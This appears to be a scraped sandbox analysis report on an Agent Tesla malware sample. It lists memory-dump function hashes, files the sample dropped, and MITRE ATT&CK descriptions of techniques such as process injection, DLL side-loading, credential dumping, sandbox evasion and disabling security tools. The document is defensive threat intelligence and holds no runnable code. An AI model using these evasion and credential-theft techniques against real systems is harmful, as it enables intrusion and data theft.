Instruction ID: 23fbcf5131f448a4f9c8a4f1f53db6c591e9f3a016397fcc6a12a39ad1d379a7
Opcode Fuzzy Hash: c6db9e3be2749e501a95356bc1bce4768b659812004efa444138aee6e61ffd7d
Instruction Fuzzy Hash: 321130B58003489FDB20DF9AC449BDEBBF8EB49324F208459D518A7250C374A948CFA4

Function 00EBD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2899294670.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_ebd000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0ddea6f4141cf8f14ebd7d4d82199d9aa5b7866ddcaf642442919db2ca04a66
Instruction ID: 624c97ea8905650674b5a68d6290c8e1a430d1aa06d561822802413e93c4ee0e
Opcode Fuzzy Hash: d0ddea6f4141cf8f14ebd7d4d82199d9aa5b7866ddcaf642442919db2ca04a66
Instruction Fuzzy Hash: 6D210475608200DFCB14EF14D9C4B67BFA6FB88318F24C56DD84A5B296D33AD847CA61

Function 00EBD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2899294670.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_ebd000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14acfc0da0d8d3aa18ad883a48d7669a389db2a4b5da51fe537475ac27c6d9b4
Instruction ID: 4f1cb432e4cf66e8658b757a8bd1b0f1aa87acc53dfe0690c4172bb2b4ff3e85
Opcode Fuzzy Hash: 14acfc0da0d8d3aa18ad883a48d7669a389db2a4b5da51fe537475ac27c6d9b4
Instruction Fuzzy Hash: 5521837550D3808FCB02DF24D994756BF71EB46314F28C5DAD8498F2A7C33A980ACB62

Function 00EAD628 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2899190213.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_ead000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe9a84ab9d056d3ba2c3179173d38fc57855e43f08afe40273e62e9d874adcb
Instruction ID: 59857cd6ce2363c73ebb458b680b4c0bfb2145f2952a457cd15ffb5c08fc23b0
Opcode Fuzzy Hash: abe9a84ab9d056d3ba2c3179173d38fc57855e43f08afe40273e62e9d874adcb
Instruction Fuzzy Hash: 3FF09671408344AEE7108E16DCC4BA6FFA8EF95738F18C45AED0D5F686C279AC44CAB1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LisectAVT_2403002A_16.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LisectAVT_2403002A_16.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NxmtwwVGOtEdjd.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_40gz0kas.ain.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iutd4lxs.fyj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j0zj4ktp.mr3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0jvrel1.rfo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbzb3ojr.e34.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mutlxdu2.sjn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tislt1pd.oyq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_waew54ts.0wj.psm1

C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp

Windows Analysis Report
LisectAVT_2403002A_16.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre